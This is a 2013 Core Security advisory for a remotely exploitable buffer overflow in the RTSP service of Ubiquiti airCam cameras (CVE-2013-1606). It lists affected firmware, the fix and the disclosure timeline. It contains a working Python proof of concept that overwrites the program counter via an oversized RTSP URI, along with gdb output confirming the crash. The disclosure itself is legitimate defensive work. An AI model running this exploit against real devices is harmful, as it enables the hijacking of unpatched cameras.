Buffer overflow in Ubiquiti airCam RTSP service

Advisory ID Internal

1. Advisory Information

Title: Buffer overflow in Ubiquiti airCam RTSP service
Advisory ID: CORE-2013-0430
Advisory URL: http://www.coresecurity.com/advisories/buffer-overflow-ubiquiti-aircam-rtsp-service
Date published: 2013-06-11
Date of last update: 2013-06-14
Vendors contacted: Ubiquiti
Release mode: Coordinated release

2. Vulnerability Information

Class: Classic buffer overflow [CWE-120]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1606

3. Vulnerability Description

The Ubiquiti [1] airCam RTSP service ubnt-streamer, has a buffer overflow when parsing the URI of a RTSP request message. This bug allows remote attackers to execute arbitrary code via RTSP request message.

4. Vulnerable Packages

  • Cameras Models: airCam, airCam Mini, airCam Dome.
  • Firmware Version Verified: AirCam v1.1.5.
  • Other devices are probably affected too, but they were not checked.

5. Non-Vulnerable Packages

  • firmware v1.2.0 (airVision 1.x and 2.x platforms).

6. Vendor Information, Solutions and Workarounds

Patched firmware versions can be downloaded from the Ubiquiti official website [2], [3].

7. Credits

These vulnerabilities were discovered and researched by Andres Blanco from Core Security. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

8. Technical Description / Proof of Concept Code

# # Author: Andres Blanco - CORE Security Technologies. # # The contents of this software are copyright (c) 2013 CORE Security and (c) 2013 CoreLabs, # and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) # License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ # # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF # THIS SOFTWARE. # import socket class RtspRequest(object): def __init__(self, ip_address, port): self._ip_address = ip_address self._port = port def generate_request(self, method, uri, headers): data = "" data += "%s %s RTSP/1.0\r\n" % (method, uri) for item in headers: header = headers[item] data += "%s: %s\r\n" % (item, header) data += "\r\n" return data def send_request(self, data): sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.settimeout(15) sd.connect((self._ip_address, self._port)) sd.send(data) resp = sd.recv(2048) sd.close() return resp if __name__ == "__main__": ip = "" anRtsp = RtspRequest(ip, 554) data = "" data += "A" * 271 data += "\x78\x56\x34\x12" uri = "rtsp://%s/%s/live/ch00_0" % (ip, data) headers = { "CSeq" : "1" } req = anRtsp.generate_request("DESCRIBE", uri, headers) rsp = anRtsp.send_request(req) 

Below the gdb session when executing the PoC.

AirCam.v1.1.5# ./gdb --pid 358 ... Attaching to process 358 warning: process 358 is a cloned process Reading symbols from /bin/ubnt-streamer...(no debugging symbols found)...done. Reading symbols from /lib/libpthread.so.0...(no debugging symbols found)...done. ... 0x401c60a0 in select () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x12345678 in ?? () (gdb) info registers r0 0x0 0 r1 0x1 1 r2 0xffffffff 4294967295 r3 0x1 1 r4 0x41414141 1094795585 r5 0x41414141 1094795585 r6 0x41414141 1094795585 r7 0xd7198 881048 r8 0x0 0 r9 0x0 0 r10 0xc6119 811289 r11 0xc625f 811615 r12 0x23 35 sp 0x40a7eaf0 0x40a7eaf0 lr 0x48d34 298292 pc 0x12345678 0x12345678 cpsr 0x20000010 536870928 (gdb) info stack #0 0x12345678 in ?? () #1 0x00048d34 in ?? () #2 0x00048d34 in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb) x/50xw $sp-0x80 0x40a7ea70: 0x41414141 0x41414141 0x41414141 0x41414141 0x40a7ea80: 0x41414141 0x41414141 0x41414141 0x41414141 0x40a7ea90: 0x41414141 0x41414141 0x41414141 0x41414141 0x40a7eaa0: 0x41414141 0x41414141 0x41414141 0x41414141 0x40a7eab0: 0x41414141 0x41414141 0x41414141 0x41414141 0x40a7eac0: 0x41414141 0x41414141 0x41414141 0x41414141 0x40a7ead0: 0x41414141 0x41414141 0x41414141 0x41414141 0x40a7eae0: 0x41414141 0x41414141 0x41414141 0x12345678 0x40a7eaf0: 0x76696c2f 0x68632f65 0x305f3030 0x000d7100 0x40a7eb00: 0x000c6060 0x000c6119 0x00059340 0x000491a8 0x40a7eb10: 0x000d73f6 0x000c6267 0x00000001 0x000c6060 0x40a7eb20: 0x000c6119 0x00059340 0x000c6118 0x00049780 0x40a7eb30: 0x00000000 0x000c611c 

9. Report Timeline

  • 2013-05-02: Core Security Technologies notifies the Ubiquiti team of the vulnerability. Publication date is set for May 29th, 2013.
  • 2013-05-02: Vendor acknowledges the receipt of the email and asks for technical details.
  • 2013-05-02: A draft report with technical details and a PoC sent to Ubiquiti team.
  • 2013-05-03: Vendor notifies that a new firmware version should address this vulnerability. It will be released shortly to the alpha and beta community.
  • 2013-05-06: Core notifies that the advisory will be re-scheduled to be released when patches are available to the alpha and beta community and asks for a tentative release date.
  • 2013-05-09: Core asks for a status update regarding this vulnerability and a tentative release date.
  • 2013-05-13: Vendor notifies the firmware is still in internal testing and the release date will be confirmed in the following days.
  • 2013-05-27: Core notifies that there was no answer in the last 2 weeks regarding the release date. Core also notifies that the advisory was re-scheduled for Jun 4th, and asks for a clear timeline to justify keep delaying the release.
  • 2013-05-28: Vendor notifies that the new firmware is almost done and a confirmed date will be notified in the following days.
  • 2013-05-29: Core asks if a beta firmware is available for downloading.
  • 2013-05-29: Vendor notifies that they have a v1.1.6 build of the firmware which is being tested internally and will be released very soon, probably this week. However, it is not yet available on the ubnt.com/download site.
  • 2013-05-29: First release date missed.
  • 2013-06-03: Core asks for a status update.
  • 2013-06-03: Vendor notifies that they do not have a specific release date yet.
  • 2013-06-11: Vendor notifies that they released firmware 1.2.0 along with airVision 2 [2][3], and a public announcement will be made soon. Release of firmware 1.1.6 (for the airVision 1.x platform) has to be defined.
  • 2013-06-11: Advisory CORE-2013-0430 published.
  • 2013-06-13: Vendor confirms that the firmware version 1.2.0 is fully functional on both platforms (av1.x and av2.x) and this is the official fix.
  • 2013-06-14: Core updates the report removing references to the firmware 1.1.6.

10. References

[1] http://www.ubnt.com.
[2] Ubiquiti downloads http://www.ubnt.com/download#AirCam.
[3] Ubiquiti firmware v1.2.0 http://www.ubnt.com/downloads/AirCam-v1.2.0.build17961.bin.

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

12. About Core Security Technologies

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13. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.